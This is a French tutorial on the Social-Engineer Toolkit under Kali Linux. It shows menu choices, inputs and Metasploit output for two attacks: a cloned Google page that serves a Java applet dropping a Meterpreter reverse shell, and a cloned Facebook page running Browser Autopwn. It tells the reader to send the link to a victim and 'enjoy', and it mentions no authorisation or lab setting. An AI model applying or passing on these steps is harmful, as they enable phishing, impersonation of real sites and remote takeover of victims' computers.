Social engineering Toolkit (SET)

Social Engineering Toolkit (SET), en français « boite à outils pour l‘ingénierie sociale » est un outil qui a été developper en Python par TrustedSec c'est un outil open-source et multiplateforme qui propose un choix de fonctions permettant diverses attaques basées sur l'hameçonnage informatique. On retrouve ainsi différents outils tel que :

  • un outil pour copier des pages web contenant des formulaires (Facebook, site de banque, etc.)
  • Un outil de mail bombing pour spammer des boites mails ou des numéros téléphone
  • Un systèmes de gestion de RAT ou d'exploit en utilisant le framework Metasploit

Exploitation de SET avec Kali Linux

Pour lancer l'outil SET dans Kali Linux il suffit de se rendre dans l'onglet Application ==> Exploitation Tools ==> SET

Une fois SET lancé nous allons lancé la première option Social-Engineering Attacks

Please update SET to the latest before submitting any git issues.

 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set>1

On va ensuite choisr parmi le menu l'option 2 pour Website Attack Vector

Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
   10) SMS Spoofing Attack Vector
   11) Third Party Modules

   99) Return back to the main menu.

   set> 2

On choisi l'option Java Applet Attack Method

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) Full Screen Attack Method
8) HTA Attack Method

99) Return to Main Menu

set:webattack>1 

Pour notre cas dans le menu suivant nous avons la possibilité de choisir soit des templates de site web soit de cloner des site ou d'importer nos propre template customiser. Nous nous allons choir la première option et utiliser des templates déjà éxistant.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

set:webattack>1

L'outil nous demande si on utilise du NAT ou du port forwarding, vu que ce n'est pas notre cas alors nous allons choisir [no]

[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no

Ensuite nous devons renseigner notre adresse IP.

set> IP address or URL (www.ex.com) for the payload listener (LHOST) [192.168.1.6]: 192.168.1.6

L'outil nous demande le certificat que l'on souhaite choir.Dans notre cas on choisi l'option 2.

Select which option you want:

2. 1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2

Nous allons ensuite choisir le type de template que l'on veux pour notre cas on choisi Google.

1. Java Required
2. Google
3. Facebook
4. Twitter
5. Yahoo

set:webattack> Select a template:2

Ensuite nous devons choisir le payload à utilisé. Pour notre exemple nous allons choisir le payload meterpreter en injection mémoire.

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: AOozzDp
[*] Malicious java applet website prepped for deployment

What payload do you want to generate:

  Name:                                       Description:

   1) Meterpreter Memory Injection (DEFAULT)  This will drop a meterpreter payload through powershell injection
   2) Meterpreter Multi-Memory Injection      This will drop multiple Metasploit payloads via powershell injection
   3) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
   4) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
   5) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
   6) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec
   7) Import your own executable              Specify a path for your own executable
   8) Import your own commands.txt            Specify payloads to be sent via command line

-set:payloads>1

Ensuite nous somme invité à choisir le port d'écoute. On laisse le port par défaut.

Ensuite il faut choisir le type de payload meterpreter utilisé pour cette attaque. Dans notre cas on choisi l'option 1 pour Windows Meterpreter Reverse TCP pour l'injection de shellcode en utilisant une connexion reverse TCP.

set:payloads> PORT of the listener [443]:

Select the payload you want to deliver via shellcode injection

1) Windows Meterpreter Reverse TCP
2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager
4) Windows Meterpreter (ALL PORTS) Reverse TCP

set:payloads> Enter the number for the payload [meterpreter_reverse_https]:1

Une fois que cela est fait, on reçoit un promt metasploit avec notre adresse IP à envoyer à la victime

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.6:443 
[*] Starting the payload handler...
msf exploit(handler) >

Une fois l'adresse envoyé à la victime et que celle ci clique dessus notre payload est bien injecté.

Enjoy :+1:

Maintenant nous allons voir un autre type d'attaque avec SET pour cela on retourne sur SET.

On choisi à nouveau Social-engineerie attacks

 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

Encore une fois on choisis l'option 2 pour les vecteurs d'attaque orienté site web.

Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) SMS Spoofing Attack Vector
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

Mais cette fois on va choisir les attaques orienté browser avec l'option 2.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

  99) Return to Main Menu

 set:webattack>2

Encore une fois on choisis l'utilisation d'un template.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

set:webattack>1

Pareil pour la suite on ne fait pas de NAT ni port Forwarding alors on répond no puis on renseigne l'IP de notre machine et pour finir on choisis le template qu'on souhaite utiliser.

set> Are you using NAT/Port Forwarding [yes|no]: no
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [192.168.1.6]: 192.168.1.6

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo
set:webattack> Select a template:3

Vous remarquerez que cette fois ci on a choisis Facebook comme template :+1:

Ensuite il faut choisir l'exploit que l'on souhaite utiliser parmis un grand nombre d'exploits.

Dans notre cas on vas choisir le dernier exploit (46) qui est un autopwn et qui va essayer tout les exploit possible.

  41) Microsoft Internet Explorer isComponentInstalled Overflow (2006-02-24)
  42) Microsoft Internet Explorer Explorer Data Binding Corruption (2008-12-07)
  43) Microsoft Internet Explorer Unsafe Scripting Misconfiguration (2010-09-20)
  44) FireFox 3.5 escape Return Value Memory Corruption (2009-07-13)
  45) FireFox 3.6.16 mChannel use after free vulnerability (2011-05-10)
  46) Metasploit Browser Autopwn (USE AT OWN RISK!)

set:payloads>46

Ensuite il faut choisir le payload qui sera utilisé dans notre cas on choisis l'option 2 pour Windows Reverse.

   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
   5) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
   6) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
   7) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
   8) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and use Reverse Meterpreter
   9) Download/Run your Own Executable        Downloads an executable and runs it

set:payloads>2

une fois cela fait on rensiegne le port d'écoute (choix par défaut). Metasploit est ensuite lancer et tout les payloads sont chargé.

Une fois les payloads chargé on envoie l'adresse fourni par metasploit à notre victime, dés lors qu'il va se connecter dessus l'autopwn var charger tout les payloads jusqu'a trouver une session meterpreter.

Encore une fois Enjoy :+1: